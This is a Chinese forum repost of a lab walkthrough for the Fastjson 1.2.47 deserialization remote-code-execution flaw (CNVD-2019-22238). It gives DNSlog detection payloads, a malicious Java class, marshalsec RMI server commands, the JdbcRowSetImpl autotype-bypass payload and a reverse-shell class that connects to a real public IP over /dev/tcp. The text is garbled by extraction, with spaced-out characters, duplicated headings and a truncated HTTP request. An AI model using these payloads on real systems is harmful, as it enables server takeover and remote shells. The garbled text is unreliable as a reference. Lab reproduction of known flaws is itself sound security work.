搜索

[158] 2020-08-10_Fastjson=1.2.47反序列化RCE漏洞（CNVD‐2019‐22238）

文档创建者：s7ckTeam
浏览次数：52
最后更新：2025-01-16
2020-08-10_Fastjson=1.2.47反序列化RCE漏洞（CNVD‐2019‐22238） F a s t j s o n < = 1 . 2 . 4 7 反 序 列 化 R C E 漏 洞 （ C N V D ‐ 2 0 1 9 ‐ 2 2 2 3 8 ） 原 创   t a o i n g   A d m i n   T e a m   2 0 2 0 - 0 8 - 1 0 F a s t j s o n   < = 1 . 2 . 4 7 反 序 列 化 反 序 列 化 R C E 漏 洞 （ 漏 洞 （ C N V D ‐ 2 0 1 9 ‐ 2 2 2 3 8 ） ）   一 、 漏 洞 描 述 一 、 漏 洞 描 述   F a s t j s o n   是 阿 里 巴 巴 的 开 源 J S O N 解 析 库 ， 它 可 以 解 析   J S O N   格 式 的 字 符 串 ， 支 持 将   J a v a   B e a n   序 列   化 为   J S O N   字 符 串 ， 也 可 以 从   J S O N   字 符 串 反 序 列 化 到   J a v a B e a n 。 F a s t j s o n 提 供 了 a u t o t y p e 功 能 ， 允 许 用 户 在 反 序 列 化 数 据 中 通 过 “ @ t y p e ” 指 定 反 序 列 化 的 类 型 ， 其   次 ， F a s t j s o n 自 定 义 的 反 序 列 化 机 制 时 会 调 用 指 定 类 中 的 s e t t e r 方 法 及 部 分 g e t t e r 方 法 ， 那 么 当 组 件   开 启 了 a u t o t y p e 功 能 并 且 反 序 列 化 不 可 信 数 据 时 ， 攻 击 者 可 以 构 造 数 据 ， 使 目 标 应 用 的 代 码 执 行 流   程 进 入 特 定 类 的 特 定 s e t t e r 或 者 g e t t e r 方 法 中 ， 若 指 定 类 的 指 定 方 法 中 有 可 被 恶 意 利 用 的 逻 辑 （ 也   就 是 通 常 所 指 的 “ G a d g e t ” ） ， 则 会 造 成 一 些 严 重 的 安 全 问 题 。 并 且 在 F a s t j s o n   1 . 2 . 4 7 及 以 下 版 本   中 ， 利 用 其 缓 存 机 制 可 实 现 对 未 开 启 a u t o t y p e 功 能 的 绕 过 。   二 、 影 响 版 本 二 、 影 响 版 本 F a s t j s o n 1 . 2 . 4 7 以 及 之 前 的 所 有 版 本 以 及 之 前 的 所 有 版 本 三 、 环 境 搭 建 三 、 环 境 搭 建 v u l h u b 靶 场 ， 进 入 靶 场 ， 进 入 f a s t j s o n 漏 洞 环 境 目 录 下 ， 执 行 漏 洞 环 境 目 录 下 ， 执 行 四 、 漏 洞 检 测 四 、 漏 洞 检 测 c d   1 . 2 . 4 7 ‐ r c e /   d o c k e r ‐ c o m p o s e   u p   ‐ d 后 台 回 复 F a s t J s o n 获 取 下 图 工 具
手 动 检 测 ： { " a " : { " @ t y p e " : " j a v a . n e t . I n e t 4 A d d r e s s " , " v a l " : " d n s l o g " } } { " a " : { " @ t y p e " : " j a v a . n e t . I n e t 6 A d d r e s s " , " v a l " : " d n s l o g " } } { " a " : { " @ t y p e " : " j a v a . n e t . I n e t S o c k e t A d d r e s s " { " a d d r e s s " : , " v a l " : " d n s l o g " } } } { " a " : { " @ t y p e " : " c o m . a l i b a b a . f a s t j s o n . J S O N O b j e c t " ,   { " @ t y p e " :   " j a v a . n e t . U R L " ,   " v a l " : " d n s l o g " } } " " } } { " a " : { " @ t y p e " : " j a v a . n e t . U R L " , " v a l " : " d n s l o g " } }
五 、 漏 洞 复 现 五 、 漏 洞 复 现 1 、 编 译 上 传 T o u c h F i l e . c l a s s 这 里 的 T o u c h F i l e 是 要 编 译 好 的 恶 意 类 ， 将 编 译 好 的 T o u c h F i l e . c l a s s 放 在 t o m c a t   w e b a p p s / R O O T   目 录 下 ， j a v a 源 码 如 下 2 、 编 译 需 要 使 用 j a v a 环 境 ， 安 装 步 骤 如 下 j a v a c   T o u c h F i l e . j a v a   # 编 译 为 T o u c h F i l e . c l a s s 3 、 安 装 d o c k e r   拉 起 t o m c a t i m p o r t   j a v a . l a n g . R u n t i m e ;   i m p o r t   j a v a . l a n g . P r o c e s s ; p u b l i c   c l a s s   T o u c h F i l e   {           s t a t i c   {                   t r y   {                         R u n t i m e   r t   =   R u n t i m e . g e t R u n t i m e ( ) ;                           S t r i n g [ ]   c o m m a n d s   =   { " t o u c h " ,   " / t m p / s u c c e s s " } ;                           P r o c e s s   p c   =   r t . e x e c ( c o m m a n d s ) ;                           p c . w a i t F o r ( ) ;                                           }   c a t c h   ( E x c e p t i o n   e )   {                           / /   d o   n o t h i n g                   }         }   } s u d o   a p t ‐ g e t   u p d a t e   # 更 新 软 件 包 列 表 s u d o   a p t   i n s t a l l   d e f a u l t ‐ j r e   # 安 装 默 认 j r e   j a v a   ‐ v e r s i o n   # 查 看 j a v a 版 本 c u r l   ‐ s   h t t p s : / / g e t . d o c k e r . c o m /   |   s h c u r l   ‐ s   h t t p s : / / b o o t s t r a p . p y p a . i o / g e t ‐ p i p . p y   |   p y t h o n p i p   i n s t a l l   d o c k e r ‐ c o m p o s e
4 、 宿 主 机 向 D o c k e r 容 器 传 送 文 件                                                                                                                                                                                               将 e x p . c l a s s 上 传 至 你 的 w e b 服 务 器 ， 地 址 为 h t t p : / / y o u r s _ i p / e x p / T o u c h F i l e . c l a s s 。   我 的 地 址 为 ： h t t p : / / 8 . 2 1 0 . 2 3 5 . 2 4 9 / T o u c h F i l e / T o u c h F i l e . c l a s s 5 、 借 助 m a r s h a l s e c 项 目 ， 快 速 开 启 r m i 或 l d a p 服 务 启 动 一 个 R M I 服 务 器 ， 监 听 9 9 8 8 端 口 ， 并 制 定 加 载 远 程 类 T o u c h F i l e . c l a s s ： 6 、 发 送 P a y l o a d d o c k e r   s e a r c h   t o m c a t   # 搜 索 镜 像 ( 默 认 去 D o c k e r   H u b 查 找 ) d o c k e r   p u l l   t o m c a t : 8 . 0 . 5 2   # 指 定 版 本 拉 取 t o m c a t d o c k e r   i m a g e s   # 拉 取 成 功 查 看 拉 取 的 镜 像 d o c k e r   r u n   ‐ ‐ n a m e   y t o m c a t   ‐ d   ‐ p   8 0 8 1 : 8 0 8 0   t o m c a t : 8 . 0 . 5 2   # 根 据 镜 像 启 动 一 个 容 器 d o c k e r   c p   本 地 文 件 的 路 径   c o n t a i n e r _ i d : < d o c k e r 容 器 内 的 路 径 > d o c k e r   c p   / r o o t / T o u c h F i l e . c l a s s   5 e f f 9 f 3 8 e 0 c 7 : / u s r / l o c a l / t o m c a t / w e b a p p s / R O O T   # 例 子 m k d i r   T o u c h F i l e   # 创 建 T o u c h F i l e 目 录 m v   T o u c h F i l e . c l a s s   T o u c h F i l e   # 将 T o u c h F i l e . c l a s s 剪 切 到 T o u c h F i l e 目 录 里 a p t   i n s t a l l   g i t   # 安 装 g i t g i t   c l o n e   h t t p s : / / g i t h u b . c o m / m b e c h l e r / m a r s h a l s e c   # 下 载 m a r s h a l s e c a p t   i n s t a l l   m a v e n   # 下 载 m a v e n ， 使 用 m a v e n 进 行 编 译 j a r 包 c d   m a r s h a l s e c m v n   c l e a n   p a c k a g e   ‐ D s k i p T e s t s c d   t a r g e t   j a v a   ‐ c p   m a r s h a l s e c ‐ 0 . 0 . 3 ‐ S N A P S H O T ‐ a l l . j a r   m a r s h a l s e c . j n d i . R M I R e f S e r v e r   " h t   t p : / / 8 . 2 1 0 . 2 3 5 . 2 4 9 / # T o u c h F i l e "   9 9 8 8 P O S T   /   H T T P / 1 . 1 H o s t :   y o u r ‐ i p : 8 0 9 0 A c c e p t ‐ E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t :   * / * A c c e p t ‐ L a n g u a g e :   e n U s e r ‐ A g e n t :   M o z i l l a / 5 . 0   ( c o m p a t i b l e ;   M S I E   9 . 0 ;   W i n d o w s   N T   6 . 1 ;   W i n 6 4 ;   x 6 4 ;   T r i d e n t / 5 . 0 ) C o n n e c t i o n :   c l o s e C o n t e n t ‐ T y p e :   a p p l i c a t i o n / j s o n C o n t e n t ‐ L e n g t h :   1 6 0 {
至 此 漏 洞 复 现 成 功 六 、 反 弹 六 、 反 弹 s h e l l 和 前 边 同 理 ： 编 译 ‐ ‐ > 将 T o u c h F i l e . c l a s s 上 传 至 w e b 服 务 器 ‐ ‐ > 启 动 R M I 服 务 器 监 听 端 口 ‐ ‐ > n c   监 听 端 口 ‐ ‐   > b u r p s u i t e 发 送 P a y l o a d {         " a " : {                 " @ t y p e " : " j a v a . l a n g . C l a s s " ,                 " v a l " : " c o m . s u n . r o w s e t . J d b c R o w S e t I m p l "           } ,           " b " : {                   " @ t y p e " : " c o m . s u n . r o w s e t . J d b c R o w S e t I m p l " ,                   " d a t a S o u r c e N a m e " : " r m i : / / 8 . 2 1 0 . 2 3 5 . 2 4 9 / e x p "                   " a u t o C o m m i t " : t r u e           } } i m p o r t   j a v a . l a n g . R u n t i m e ; i m p o r t   j a v a . l a n g . P r o c e s s ; p u b l i c   c l a s s   T o u c h F i l e   {         s t a t i c   {                 t r y   {                         R u n t i m e   r t   =   R u n t i m e . g e t R u n t i m e ( ) ;                         S t r i n g [ ]   c o m m a n d s   =   { " / b i n / b a s h " , " ‐ c " , " b a s h   ‐ i   > &   / d e v / t c p / 8 . 2 1   0 . 2 3 5 . 2 4 9 / 6 6 6 6   0 > & 1 " } ;                         P r o c e s s   p c   =   r t . e x e c ( c o m m a n d s ) ;                         p c . w a i t F o r ( ) ;                 }   c a t c h   ( E x c e p t i o n   e )   {                         / /   d o   n o t h i n g                 }         } }
相 关 文 章 F a s t j s o n ‐ C N V D ‐ 2 0 1 7 ‐ 0 2 8 3 3
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理